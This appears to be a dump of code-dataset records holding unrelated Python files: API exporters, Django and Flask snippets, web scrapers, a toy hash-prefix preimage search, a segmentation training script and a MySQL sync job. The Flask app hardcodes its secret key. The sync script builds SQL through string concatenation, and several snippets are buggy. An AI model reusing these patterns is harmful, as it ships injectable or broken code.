[r['id'],\n\t\t\t\tr['createDate'][0:10],\n\t\t\t\tpublished,\n\t\t\t\tr['status'],\n\t\t\t\tr['visibility'],\n\t\t\t\tr['type'],\n\t\t\t\tr['name']]\n\t\t\twriter.writerow(row)\n\t\toffset = offset + count\n\ndef main():\n\t\"\"\"Program entry point. Uses a user-provided id, retrieves\n\tactivities and outputs JSON to the console.\"\"\"\n\n\tlogging.basicConfig(format='%(asctime)s %(message)s', level=logging.INFO)\n\tparser = argparse.ArgumentParser(\n\t\tdescription='See list of forms for an form type')\n\tparser.add_argument(\"--intToken\", action='store', required=True,\n\t\t\t\t\t\thelp='Engage Integration API token')\n\tparser.add_argument('--webToken', action='store', required=True,\n\t\t\t\t\t\thelp='Engage Web Developer API token')\n\n\targs = parser.parse_args()\n\twith open('activity_list.csv', 'w') as f:\n\t\tw = csv.writer(f)\n\t\tlistActivities(args.intToken, args.webToken, w)\n\t\tf.flush()\n\t\tf.close()\n\n\nif (__name__) == '__main__':\n\tmain()\n","repo_name":"salsalabs/engage_api_python3","sub_path":"activity/generic/activity_form_list.py","file_name":"activity_form_list.py","file_ext":"py","file_size_in_byte":3001,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35632604370","text":"from django import forms\n\nfrom .models import Product\n\n\nclass ProductForm(forms.ModelForm):\n title = forms.CharField(widget=forms.TextInput(attrs={\"placeholder\": \"Your Title text\"}))\n description = forms.CharField(required=False, widget=forms.Textarea(attrs={\"class\": \"new-class-name two\", \"id\": \"my-id-for-textarea\", \"rows\": 20, \"cols\": 40}))\n # email = forms.EmailField()\n price = forms.DecimalField(initial=199.99)\n\n class Meta:\n model = Product\n fields = [\n 'title',\n 'description',\n 'price'\n ]\n\n def clean_title(self, *args, **kwargs):\n title = self.cleaned_data.get(\"title\")\n # if not \"CFE\" in title:\n # raise forms.ValidationError(\"This is not a valid title\")\n return title\n\n # def clean_email(self, *args, **kwargs):\n # email = self.cleaned_data.get(\"email\")\n # if not email.endswith(\"edu\"):\n # raise forms.ValidationError(\"This is not a valid email\")\n # return email\n\n\nclass OldProductForm(forms.ModelForm):\n class Meta:\n model = Product\n fields = [\n 'title',\n 'description',\n 'price'\n ]\n\n\nclass RawProductForm(forms.Form):\n title = forms.CharField(widget=forms.TextInput(attrs={\n \"placeholder\": \"Your Title text\"\n }))\n description = forms.CharField(\n required=False,\n widget=forms.Textarea(\n attrs={\n \"class\": \"new-class-name two\",\n \"id\": \"my-id-for-textarea\",\n \"rows\": 20,\n \"cols\": 40\n }\n )\n )\n price = forms.DecimalField(initial=199.99)\n\n\n","repo_name":"kirankotari/tryDjango","sub_path":"src/products/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1672,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"72226967468","text":"from flask import Flask, escape, request, session\n\napp = Flask(__name__)\napp.secret_key = \"asveniruby\" # 密钥,真实环境下为动态密钥\n\n\n@app.route('/')\ndef hello():\n name = request.args.get(\"name\", \"World\")\n return f'Hello, {escape(name)}!'\n\n\n# env FLASK_APP=flask_app flask run 运行接口\n# env FLASK_ENV=development FLASK_APP=flask_app flask run 开发模式运行接口\n\n# -----------------------#####-----------------------\n\n# 创建路由\n@app.route(\"/login\", methods=['get', 'post'])\ndef login():\n res = {\n \"method\": request.method,\n \"url\": request.path,\n \"args\": request.args, # 参数\n \"form\": request.form\n }\n session['username'] = request.args.get('name')\n return res\n","repo_name":"XuXuClassMate/My_Test_PyProject","sub_path":"terrace/Study_notes/rear_end/flask_app.py","file_name":"flask_app.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73870280426","text":"import requests\nfrom bs4 import BeautifulSoup\nimport time\nimport pandas as pd\nfrom tqdm import tqdm\n\nstart = time.time()\n\n# Limiting parameter\nlimit_100 = True\n\n# URLs to scrape\nsites = [\n \"https://www.otomoto.pl/osobowe/mercedes-benz/gl-klasa/\",\n \"https://www.otomoto.pl/osobowe/mercedes-benz/gl-klasa?page=2\",\n \"https://www.otomoto.pl/osobowe/mercedes-benz/gl-klasa?page=3\",\n \"https://www.otomoto.pl/osobowe/mercedes-benz/gl-klasa?page=4\",\n \"https://www.otomoto.pl/osobowe/mercedes-benz/gl-klasa?page=5\"\n]\n\n# Actual program:\nlinks_list = []\n\n# Iterate over given sites\nfor site in sites:\n response = requests.get(site)\n soup = BeautifulSoup(response.content, \"html.parser\")\n \n # if cookies pop up, accept them\n cookies_button = soup.select_one(\"#onetrust-accept-btn-handler\")\n if cookies_button:\n requests.get(cookies_button[\"href\"])\n time.sleep(5)\n \n # find all objects with offers\n links = soup.select('main article[data-variant=\"regular\"] h2 a')\n for link in links:\n # get all links to offers\n links_list.append(link[\"href\"])\n \n # if limit_100 is enabled, stop after reaching 100 links\n if limit_100 and len(links_list) == 100:\n break\n \n # stop iterating if the limit is reached\n if limit_100 and len(links_list) == 100:\n break\n\n# Create output dataframe\ndf = pd.DataFrame(\n columns=['price', 'mileage', 'power', 'prod_year', 'seats_num', 'fuel', 'color', 'link']\n)\n\n# Iterate over offer links\nfor link in tqdm(links_list):\n response = requests.get(link)\n soup = BeautifulSoup(response.content, \"html.parser\")\n row = [None] * 8 # Initialize the row with None values\n \n # price\n price_element = soup.select_one(\"span.offer-price__number\")\n if price_element:\n txt = price_element.get_text(strip=True)\n row[0] = int(''.join([s for s in txt.split() if s.isdigit()]))\n else:\n for retry in range(3):\n time.sleep(5)\n response = requests.get(link)\n soup = BeautifulSoup(response.content, \"html.parser\")\n price_element = soup.select_one(\"span.offer-price__number\")\n if price_element:\n txt = price_element.get_text(strip=True)\n row[0] = int(''.join([s for s in txt.split() if s.isdigit()]))\n break\n\n\n # mileage\n mileage_element = soup.select_one(\"span:-soup-contains('Przebieg') + div\")\n if mileage_element:\n txt = mileage_element.get_text(strip=True)\n row[1] = int(''.join([s for s in txt.split() if s.isdigit()]))\n\n # power\n power_element = soup.select_one(\"span:-soup-contains('Moc') + div\")\n if power_element:\n txt = power_element.get_text(strip=True)\n row[2] = int(''.join([s for s in txt.split() if s.isdigit()]))\n\n # production year\n prod_year_element = soup.select_one(\"span:-soup-contains('Rok produkcji') + div\")\n if prod_year_element:\n row[3] = int(prod_year_element.get_text(strip=True))\n\n # number of seats\n seats_num_element = soup.select_one(\"span:-soup-contains('Liczba miejsc') + div\")\n if seats_num_element:\n row[4] = int(seats_num_element.get_text(strip=True))\n\n # fuel\n fuel_element = soup.select_one(\"span:-soup-contains('Rodzaj paliwa') + div a\")\n if fuel_element:\n row[5] = fuel_element.get_text(strip=True)\n\n # color\n color_element = soup.select_one(\"span:-soup-contains('Kolor') + div a\")\n if color_element:\n row[6] = color_element.get_text(strip=True)\n\n # link\n row[7] = link\n \n print(row)\n\n # add new row to df\n df.loc[len(df)] = row\n\n time.sleep(5)\n \n# save as csv\ndf.to_csv(\"offers.csv\", index=False, header=True)\n\nend = time.time()\n\n# save time measurement\nwith open('running_time.txt', 'w') as f:\n f.write('Running time of BeautifulSoup scraper:\\n')\n f.write(f\"{round(end - start, 2)} seconds\")\n","repo_name":"jtbandurski/WebScraping","sub_path":"soup/bs4-otomoto.py","file_name":"bs4-otomoto.py","file_ext":"py","file_size_in_byte":3931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10781604366","text":"from csv import reader\nfrom .collisions import bt\n\n\ndef import_csv_layout(path):\n\tblocks_map = []\n\twith open(path) as map:\n\t\tlevel = reader(map,delimiter = ',')\n\t\t#for i in range(4): # i tried\n\t\t#\tblocks_map += [[0]*5]\n\t\tfor row in level:\n\t\t\ttemp = [int(i) for i in row]\n\t\t\tblocks_map.append(temp)\n\t\t#print(blocks_map,'\\n')\n\t\treturn list(zip(*blocks_map[::-1])) # blocks_map\n\n\nif __name__ == \"__main__\": # testing\n\tpath = \"./bloc_pics/map.csv\"\n\tfor i in import_csv_layout(path):\n\t print(i)","repo_name":"ano0002/E-mars","sub_path":"mining_game/loader.py","file_name":"loader.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"41077893303","text":"import hashlib, string, random\n\ndef hammingdistance(val1,val2): # calculates the number of indicies where values don't match\n output = sum(val1 != val2 for val1, val2 in zip(val1, val2)) # != is used as an xor operator \n return output\ndef generateString(n): # generates random string of length n \n all_characters = string.hexdigits\n newstring = ''\n for x in range(0,n): \n newstring = newstring + random.choice(all_characters)\n return newstring\ndef find_preimage(target, n): # generates random hash values until the first n characters match the target hash\n target = target.encode('hex')[:n*2]\n random_string = generateString(n*2)\n random_hash = hashlib.sha256(random_string).digest().encode('hex')[:n*2]\n while hammingdistance(target, random_hash) > 0 : \n random_string = generateString(n*2)\n random_hash = hashlib.sha256(random_string).digest().encode('hex')[:n*2]\n return random_string # returns the generated string that matches the first n hash values of the target\n \n","repo_name":"maccarlton25/cryptographic-hash-functions","sub_path":"a2_preimage.py","file_name":"a2_preimage.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39683515655","text":"# -*- coding: utf-8 -*-\n\"\"\"Neste script iremos em links da lista preprint_list.tsv, extraindo \nos tweets e os handles, no sentido de ter ao final uma dado tabular.\n\"\"\"\n\nfrom bs4 import BeautifulSoup as bsoup\nfrom selenium import webdriver\nimport csv\n\n\ndef createHeadlessFirefoxBrowser():\n\n # Criação do navegador\n\n options = webdriver.FirefoxOptions()\n options.add_argument(\"--headless\")\n return webdriver.Firefox(options=options)\n\n\ndef scrape_tweets(url):\n\n # Acessando página\n browser = createHeadlessFirefoxBrowser()\n browser.implicitly_wait(10)\n try:\n browser.get(url)\n except Exception:\n print(f\"Não consegui raspar dessa url: {url}\")\n browser.quit()\n else:\n # Raspando página\n paper_html = bsoup(browser.page_source, \"html.parser\")\n\n browser.quit()\n\n paper_title = paper_html.find(\"h1\", {\"id\": \"page-title\"}).get_text()\n html_handles = paper_html.find_all(\"div\", class_=\"handle\")\n html_posts = paper_html.find_all(\"p\", class_=\"summary\")\n\n # Extraindo apenas o texto\n posts = [i.get_text() for i in html_posts]\n handles = [i.get_text() for i in html_handles]\n\n # Criando lista final\n paper_table = []\n for j in range(len(handles)):\n dict_atual = {\n \"paper_link\": url,\n \"paper_title\": paper_title,\n \"handle\": handles[j],\n \"message\": posts[j],\n }\n paper_table.append(dict_atual)\n\n return paper_table\n\n\ndef main(max_preprints=500):\n \"\"\"max_preprints define o máximo de preprints da lista\n preprint_list que serão raspados. Altere caso deseje raspar mais ou menos.\"\"\"\n\n with open(\"preprint_list.tsv\", \"r\") as f:\n preprints = f.read().splitlines()\n\n # Raspando a página de cada preprint\n resultado_final = []\n for preprint in preprints[0:max_preprints]:\n try:\n atual = scrape_tweets(preprint)\n resultado_final.extend(atual)\n except Exception:\n pass\n\n # Escrevendo o dado final\n keys = resultado_final[0].keys()\n with open(\"data/preprint_tweets.csv\", \"w\", newline=\"\") as output_file:\n dict_writer = csv.DictWriter(output_file, keys)\n dict_writer.writeheader()\n dict_writer.writerows(resultado_final)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"jvfe/nobudgetsci-tweets","sub_path":"scrape_tweets.py","file_name":"scrape_tweets.py","file_ext":"py","file_size_in_byte":2384,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"37560855550","text":"class Mahasiswa(object):\r\n def __init__(self, nama, nim, kota, uangsaku):\r\n self.nama = nama\r\n self.nim = nim\r\n self.tempatTinggal = kota\r\n self.uangSaku = uangsaku\r\n\r\nm0 = Mahasiswa(\"Jono\", 123, \"Sragen\", 240000)\r\nm1 = Mahasiswa(\"Andi\", 154, \"Yogyakarta\", 230000)\r\nm2 = Mahasiswa(\"Jordi\", 108, \"Surakarta\", 230000)\r\nm3 = Mahasiswa(\"Lala\", 140, \"Surakarta\", 235000)\r\nm4 = Mahasiswa(\"Putri\", 113, \"Boyolali\", 240000)\r\nm5 = Mahasiswa(\"Raihan\", 132, \"Semarang\", 250000)\r\nm6 = Mahasiswa(\"Janis\", 186, \"Klaten\", 245000)\r\nm7 = Mahasiswa(\"Nanda\", 199, \"Wonogiri\", 245000)\r\nm8 = Mahasiswa(\"Putantri\", 187, \"Klaten\", 245000)\r\nm9 = Mahasiswa(\"Hardi\", 153, \"Karanganyar\", 270000)\r\nm10 = Mahasiswa(\"Maya\", 148, \"Purwodadi\", 265000)\r\n\r\nDaftar = [m0, m1, m2, m3, m4, m5, m6, m7, m8, m9, m10]\r\n\r\ndef cariLinkedList(head, target):\r\n temp = head\r\n while temp.data != None:\r\n if temp.data == target:\r\n return temp\r\n return -1\r\n","repo_name":"L200184098/Prak_Algostruk","sub_path":"L200184098_Modul4_H/No5.py","file_name":"No5.py","file_ext":"py","file_size_in_byte":967,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"34181596790","text":"import torch\nfrom torch.autograd import Variable\nimport argparse\nfrom datetime import datetime\nfrom lib.TransFuse import TransFuse_S\n# from utils.dataloader import get_loader, test_dataset\nfrom utils.utils import AvgMeter\nimport torch.nn.functional as F\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom test_isic import mean_dice_np, mean_iou_np\nimport os\nfrom datasets.dataset_synapse import Synapse_dataset, RandomGenerator\nfrom torch.utils.data import DataLoader\nfrom torchvision import transforms\nfrom utils.utils import DiceLoss\nfrom torch.nn.modules.loss import CrossEntropyLoss\n\n# def structure_loss(pred, mask):\n# mask = mask.type('torch.cuda.FloatTensor')\n# mask = mask.reshape(mask.shape[0], -1, mask.shape[1], mask.shape[2])\n# weit = 1 + 5*torch.abs(F.avg_pool2d(mask, kernel_size=31, stride=1, padding=15) - mask)\n# wbce = F.binary_cross_entropy_with_logits(pred, mask, reduction='none')\n# wbce = (weit*wbce).sum(dim=(2, 3)) / weit.sum(dim=(2, 3))\n\n# pred = torch.sigmoid(pred)\n# inter = ((pred * mask)*weit).sum(dim=(2, 3))\n# union = ((pred + mask)*weit).sum(dim=(2, 3))\n# wiou = 1 - (inter + 1)/(union - inter+1)\n# return (wbce + wiou).mean()\n\n\ndef train(train_loader, model, optimizer, epoch, best_loss, opt, iter_num):\n model.train()\n ce_loss = CrossEntropyLoss()\n dice_loss = DiceLoss(opt.num_class)\n for i_batch, sampled_batch in enumerate(train_loader):\n image_batch, label_batch = sampled_batch['image'], sampled_batch['label']\n image_batch, label_batch = image_batch.cuda(), label_batch.cuda()\n outputs = model(image_batch)\n loss_ce_4 = ce_loss(outputs[0], label_batch[:].long())\n loss_ce_3 = ce_loss(outputs[1], label_batch[:].long())\n loss_ce_2 = ce_loss(outputs[2], label_batch[:].long())\n loss_ce = 0.5 * loss_ce_2 + 0.3 * loss_ce_3 + 0.2 * loss_ce_4\n loss_dice_4 = dice_loss(outputs[0], label_batch, softmax=True)\n loss_dice_3 = dice_loss(outputs[1], label_batch, softmax=True)\n loss_dice_2 = dice_loss(outputs[2], label_batch, softmax=True)\n loss_dice = 0.5 * loss_dice_2 + 0.3 * loss_dice_3 + 0.2 * loss_dice_4\n loss = 0.4 * loss_ce + 0.6 * loss_dice\n optimizer.zero_grad()\n loss.backward()\n torch.nn.utils.clip_grad_norm_(model.parameters(), opt.grad_norm)\n optimizer.step()\n\n iter_num = iter_num + 1\n print('iteration %d : loss : %f, loss_ce: %f' % (iter_num, loss.item(), loss_ce.item()))\n\n\n\n# def test(model, path):\n\n# model.eval()\n# mean_loss = []\n\n# for s in ['val', 'test']:\n# image_root = '{}/data_{}.npy'.format(path, s)\n# gt_root = '{}/mask_{}.npy'.format(path, s)\n# test_loader = test_dataset(image_root, gt_root)\n\n# dice_bank = []\n# iou_bank = []\n# loss_bank = []\n# acc_bank = []\n\n# for i in range(test_loader.size):\n# image, gt = test_loader.load_data()\n# image = image.cuda()\n\n# with torch.no_grad():\n# _, _, res = model(image)\n# loss = structure_loss(res, torch.tensor(gt).unsqueeze(0).unsqueeze(0).cuda())\n\n# res = res.sigmoid().data.cpu().numpy().squeeze()\n# gt = 1*(gt>0.5) \n# res = 1*(res > 0.5)\n\n# dice = mean_dice_np(gt, res)\n# iou = mean_iou_np(gt, res)\n# acc = np.sum(res == gt) / (res.shape[0]*res.shape[1])\n\n# loss_bank.append(loss.item())\n# dice_bank.append(dice)\n# iou_bank.append(iou)\n# acc_bank.append(acc)\n \n# print('{} Loss: {:.4f}, Dice: {:.4f}, IoU: {:.4f}, Acc: {:.4f}'.\n# format(s, np.mean(loss_bank), np.mean(dice_bank), np.mean(iou_bank), np.mean(acc_bank)))\n\n# mean_loss.append(np.mean(loss_bank))\n\n# return mean_loss[0] \n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--epoch', type=int, default=150, help='epoch number')\n parser.add_argument('--lr', type=float, default=0.001, help='learning rate')\n parser.add_argument('--batchsize', type=int, default=8, help='training batch size')\n parser.add_argument('--grad_norm', type=float, default=2.0, help='gradient clipping norm')\n parser.add_argument('--train_path', type=str,\n default='data/', help='path to train dataset')\n parser.add_argument('--test_path', type=str,\n default='data/', help='path to test dataset')\n parser.add_argument('--train_save', type=str, default='TransFuse_S')\n parser.add_argument('--beta1', type=float, default=0.5, help='beta1 of adam optimizer')\n parser.add_argument('--beta2', type=float, default=0.999, help='beta2 of adam optimizer')\n parser.add_argument('--data_path', type=str, default= '../Synapse/train_npz/', help='dataset path')\n parser.add_argument('--list_dir', type=str, default= '../Synapse/lists/lists_Synapse', help='list_dir')\n parser.add_argument('--num_class', type=int, default=14, help='number of segmentation classes')\n parser.add_argument('-o', '--log-path', type=str, default= 'log/', help='log path')\n opt = parser.parse_args() \n\n # ---- build models ----\n model = TransFuse_S(pretrained=True, num_classes=opt.num_class).cuda()\n params = model.parameters()\n optimizer = torch.optim.Adam(params, opt.lr, betas=(opt.beta1, opt.beta2))\n \n # image_root = '{}/data_train.npy'.format(opt.train_path)\n # gt_root = '{}/mask_train.npy'.format(opt.train_path)\n\n # train_loader = get_loader(image_root, gt_root, batchsize=opt.batchsize)\n db_train = Synapse_dataset(base_dir=opt.data_path, list_dir=opt.list_dir, split=\"train\",\n transform=transforms.Compose(\n [RandomGenerator(output_size=[192, 256])]))\n def worker_init_fn(worker_id):\n random.seed(args.seed + worker_id)\n train_loader = DataLoader(db_train, batch_size=opt.batchsize, shuffle=True, num_workers=0, pin_memory=True,\n worker_init_fn=worker_init_fn)\n total_step = len(train_loader)\n\n print(\"#\"*20, \"Start Training\", \"#\"*20)\n\n best_loss = 1e5\n for epoch in range(1, opt.epoch + 1):\n best_loss = train(train_loader, model, optimizer, epoch, best_loss, opt, epoch)\n save_interval = 10\n if epoch == 1:\n save_mode_path = os.path.join(opt.log_path + 'Transfuse_new_epoch_' + str(epoch) + '.pth')\n torch.save(model.state_dict(), save_mode_path)\n\n if (epoch + 1) % save_interval == 0:\n save_mode_path = os.path.join(opt.log_path + 'Transfuse_new_epoch_' + str(epoch) + '.pth')\n torch.save(model.state_dict(), save_mode_path)\n\n if epoch >= opt.epoch - 1:\n save_mode_path = os.path.join(opt.log_path + 'Transfuse_new_epoch_' + str(epoch) + '.pth')\n torch.save(model.state_dict(), save_mode_path)\n break","repo_name":"marcochen11/EECS545_Final_Proj","sub_path":"train_isic.py","file_name":"train_isic.py","file_ext":"py","file_size_in_byte":7071,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"9830549393","text":"import sys\nimport os\nimport json\nimport urllib.request\nfrom pprint import pprint\nimport datetime\nfrom datetime import timedelta\nimport mysql.connector\nimport csv\nimport codecs\n\nimport MyLogger\nimport MyLib\n\n#Déclaration\narguments = dict() #dict\ni = 0 #Int\nconfig_json = {} #Json\nstatusSupervision = \"OK\"\n\n#Procedure chargement du fichier config JSON\ndef charger_config() :\n global config_json\n try:\n MyLogger.logger.debug(\"Début chargement configuration\")\n config=codecs.open(arguments[\"param\"], 'r','utf-8')\n config_json = json.load(config)\n MyLogger.logger.debug(\"Chargement configuration réussi\")\n except ValueError as exc:\n MyLogger.logger.error(\"Erreur pendant le chargement du fichier de configuration : \" + arguments[\"param\"])\n sys.exit(\"Erreur\")\n\n#importe un obj\ndef import_url(p_url, p_file_out, p_table) :\n try:\n #En prod oui\n #proxies = {'http': 'http://fr-proxy.groupinfra.com:3128'}\n #opener = urllib.request.FancyURLopener(proxies)\n opener = urllib.request.FancyURLopener({})\n response = opener.open(p_url)\n page = response.read().decode('utf-8')\n\n fo = open(config_json[\"parameters\"][\"path\"]+p_file_out, \"wb\")\n fo.write(page.encode('utf-8'))\n fo.close()\n\n MyLogger.logger.debug(\"Création du fichier : \"+p_file_out+\", réussi\")\n\n cnx = mysql.connector.connect(user=config_json[\"config_db_integration\"][\"db\"], database=config_json[\"config_db_integration\"][\"db\"], password=config_json[\"config_db_integration\"][\"mdp\"], host=config_json[\"config_db_integration\"][\"host\"])\n cur = cnx.cursor(buffered=True)\n\n with open(config_json[\"parameters\"][\"path\"]+p_file_out, encoding='utf-8') as csvfile:\n reader = csv.reader(csvfile, delimiter=',', quotechar='\"')\n headers = reader.__next__()\n\n sql = \"DROP TABLE `rec_\"+p_table+\"`\"\n try:\n cur.execute(sql)\n except mysql.connector.Error as err:\n MyLogger.logger.error(\"Erreur : \"+format(err))\n MyLogger.logger.debug(\"SQL : \"+sql)\n \n retour = cur.fetchone()\n if(retour is not None):\n MyLogger.logger.warning(\"Retour : \"+retour+\", SQL : \"+sql)\n\n sql = \"CREATE TABLE `rec_\"+p_table+\"` (`id` int(11) NOT NULL AUTO_INCREMENT,\"\n\n for header in headers:\n sql += \"`\"+header.replace(\"'\", \"\\\\'\")+\"` varchar(255),\"\n \n sql += \"`dateTime_record` datetime, PRIMARY KEY (`id`));\"\n\n try:\n cur.execute(sql)\n except mysql.connector.Error as err:\n MyLogger.logger.error(\"Erreur : \"+format(err))\n MyLogger.logger.debug(\"SQL : \"+sql)\n\n retour = cur.fetchone()\n if(retour is not None):\n MyLogger.logger.warning(\"Retour : \"+retour+\", SQL : \"+sql)\n\n nb_ligne_succes = 0\n nb_ligne_warning = 0\n nb_ligne_erreur = 0\n \n for rows in reader:\n sql = \"INSERT INTO `rec_\"+p_table+\"` (\"\n for header in headers:\n sql += \"`\"+header.replace(\"'\", \"\\\\'\")+\"`,\"\n sql += \"`id`, `dateTime_record`) VALUES (\"\n for row in rows:\n sql += \"'\"+row.replace(\"'\", \"\\\\'\")+\"',\"\n sql += \"NULL,NOW());\"\n\n try:\n cur.execute(sql)\n except mysql.connector.Error as err:\n MyLogger.logger.error(\"Erreur : \"+format(err))\n MyLogger.logger.debug(\"SQL : \"+sql)\n nb_ligne_erreur += 1\n\n retour = cur.fetchone()\n if(retour is not None):\n MyLogger.logger.warning(\"Retour : \"+retour+\", SQL : \"+sql)\n nb_ligne_warning += 1\n else :\n nb_ligne_succes += 1\n\n cnx.commit()\n\n cnx.close()\n \n MyLogger.logger.debug(\"Importation réussi (\"+str(nb_ligne_succes)+\" lignes succées, \"+str(nb_ligne_warning)+\" lignes warning, \"+str(nb_ligne_erreur)+\", lignes erreur)\")\n\n os.rename(config_json[\"parameters\"][\"path\"]+p_file_out, config_json[\"parameters\"][\"path\"]+\"Archives/\"+p_file_out)\n \n #supervision\n if nb_ligne_succes == 0 :\n statusSupervision = \"WARNING\"\n \n cnx_ring = mysql.connector.connect(user=config_json[\"config_db_supervision\"][\"db\"], database=config_json[\"config_db_supervision\"][\"db\"], password=config_json[\"config_db_supervision\"][\"mdp\"], host=config_json[\"config_db_supervision\"][\"host\"])\n cur_ring = cnx_ring.cursor(buffered=True)\n sql = \"INSERT INTO `tab_log` (`id` ,`dateTime` ,`type` ,`commentaires`) VALUES (NULL , NOW(), \"+config_json[\"parameters\"][\"type_log\"]+\", '[INFO][Etape:Importation][fichier:\"+p_file_out+\"][nb_ligne_succes:\"+str(nb_ligne_succes)+\"][nb_ligne_warning:\"+str(nb_ligne_warning)+\"][nb_ligne_erreur:\"+str(nb_ligne_erreur)+\"]Synchro Brise-NOA');\"\n try:\n cur_ring.execute(sql)\n cnx_ring.commit()\n except mysql.connector.Error as err:\n MyLogger.logger.error(\"Erreur : \"+format(err))\n MyLogger.logger.debug(\"SQL : \"+sql) \n cnx_ring.close()\n \n except Exception as e:\n MyLogger.logger.error(\"Erreur pendant import_url : (\"+format(e)+\")\")\n sys.exit(\"Erreur\")\n\n#Procedure Mise à jour\ndef importer() :\n global config_json\n try:\n MyLogger.logger.debug(\"Début importation\")\n\n #supervision\n cnx_ring = mysql.connector.connect(user=config_json[\"config_db_supervision\"][\"db\"], database=config_json[\"config_db_supervision\"][\"db\"], password=config_json[\"config_db_supervision\"][\"mdp\"], host=config_json[\"config_db_supervision\"][\"host\"])\n cur_ring = cnx_ring.cursor(buffered=True)\n sql = \"INSERT INTO `tab_log` (`id` ,`dateTime` ,`type` ,`commentaires`) VALUES (NULL , NOW(), \"+config_json[\"parameters\"][\"type_log\"]+\", '[INFO][Etape:start]Synchro Brise-NOA');\"\n try:\n cur_ring.execute(sql)\n cnx_ring.commit()\n except mysql.connector.Error as err:\n MyLogger.logger.error(\"Erreur : \"+format(err))\n MyLogger.logger.debug(\"SQL : \"+sql) \n cnx_ring.close()\n\n now = datetime.datetime.now()\n dateTime = now.strftime(\"%y%m%d_%H%M\")\n datTimSemDerniere = datetime.datetime.now()-timedelta(days=7)\n strSemDerniere = datTimSemDerniere.strftime(\"%Y-%m-%d\")\n\n for objs in config_json[\"config_brise\"]:\n url = config_json[\"config_brise\"][objs]\n name_file_out = \"data_\"+objs+\"_\"+dateTime+\".csv\"\n MyLogger.logger.debug(\"Objet à importer : \"+objs)\n MyLogger.logger.debug(\"Url de l'objet : \"+url)\n MyLogger.logger.debug(\"Fichier de sortie : \"+name_file_out)\n\n import_url(url, name_file_out, objs)\n\n cnx = mysql.connector.connect(user=config_json[\"config_db_integration\"][\"db\"], database=config_json[\"config_db_integration\"][\"db\"], password=config_json[\"config_db_integration\"][\"mdp\"], host=config_json[\"config_db_integration\"][\"host\"])\n cur = cnx.cursor(buffered=True)\n\n MyLogger.logger.debug(\"Chargement des données\")\n \n sql = \"SELECT charger_data_oceane('');\"\n try:\n cur.execute(sql)\n except mysql.connector.Error as err:\n MyLogger.logger.error(\"Erreur : \"+format(err))\n MyLogger.logger.debug(\"SQL : \"+sql)\n \n retour = cur.fetchone()\n if(retour[0] is not 1):\n MyLogger.logger.warning(\"Retour : \"+retour+\", SQL : \"+sql)\n\n MyLogger.logger.debug(\"Chargement des données réussi\")\n\n #Merge des tickets debut\n MyLogger.logger.debug(\"Merge des tickets\")\n \n sql = \"select merge_tickets('');\"\n try:\n cur.execute(sql)\n except mysql.connector.Error as err:\n MyLogger.logger.error(\"Erreur : \"+format(err))\n MyLogger.logger.debug(\"SQL : \"+sql)\n \n retour = cur.fetchone()\n if(retour[0] is not 1):\n MyLogger.logger.warning(\"Retour : \"+retour+\", SQL : \"+sql)\n\n cnx.commit() \n\n MyLogger.logger.debug(\"Merge des tickets réussi\")\n #Merge des tickets fin\n\n #synchro oceane debut\n MyLogger.logger.debug(\"Synchronisation Oceane\")\n \n sql = \"select synchro_oceane('\"+strSemDerniere+\"');\"\n MyLogger.logger.debug(\"Lancement du SQL : \"+ sql)\n try:\n cur.execute(sql)\n except mysql.connector.Error as err:\n MyLogger.logger.error(\"Erreur : \"+format(err))\n MyLogger.logger.debug(\"SQL : \"+sql)\n \n retour = cur.fetchone()\n if(retour[0] is not 1):\n MyLogger.logger.warning(\"Retour : \"+retour+\", SQL : \"+sql)\n\n sql = \"select synchro_oceane_sta_vr('\"+strSemDerniere+\"');\"\n MyLogger.logger.debug(\"Lancement du SQL : \"+ sql)\n try:\n cur.execute(sql)\n except mysql.connector.Error as err:\n MyLogger.logger.error(\"Erreur : \"+format(err))\n MyLogger.logger.debug(\"SQL : \"+sql)\n \n retour = cur.fetchone()\n if(retour[0] is not 1):\n MyLogger.logger.warning(\"Retour : \"+retour+\", SQL : \"+sql)\n\n cnx.commit() \n\n MyLogger.logger.debug(\"Synchronisation Oceane réussi\")\n #synchro oceane fin\n \n cnx.close()\n\n #supervision\n cnx_ring = mysql.connector.connect(user=config_json[\"config_db_supervision\"][\"db\"], database=config_json[\"config_db_supervision\"][\"db\"], password=config_json[\"config_db_supervision\"][\"mdp\"], host=config_json[\"config_db_supervision\"][\"host\"])\n cur_ring = cnx_ring.cursor(buffered=True)\n sql = \"INSERT INTO `tab_log` (`id` ,`dateTime` ,`type` ,`commentaires`) VALUES (NULL , NOW(), \"+config_json[\"parameters\"][\"type_log\"]+\", '[INFO][Etape:fin][Statut:\"+statusSupervision+\"]Synchro Brise-NOA');\"\n try:\n cur_ring.execute(sql)\n cnx_ring.commit()\n except mysql.connector.Error as err:\n MyLogger.logger.error(\"Erreur : \"+format(err))\n MyLogger.logger.debug(\"SQL : \"+sql) \n cnx_ring.close()\n \n except Exception as e:\n MyLogger.logger.error(\"Erreur pendant importer : (\"+format(e)+\")\")\n #supervision\n cnx_ring = mysql.connector.connect(user=config_json[\"config_db_supervision\"][\"db\"], database=config_json[\"config_db_supervision\"][\"db\"], password=config_json[\"config_db_supervision\"][\"mdp\"], host=config_json[\"config_db_supervision\"][\"host\"])\n cur_ring = cnx_ring.cursor(buffered=True)\n sql = \"INSERT INTO `tab_log` (`id` ,`dateTime` ,`type` 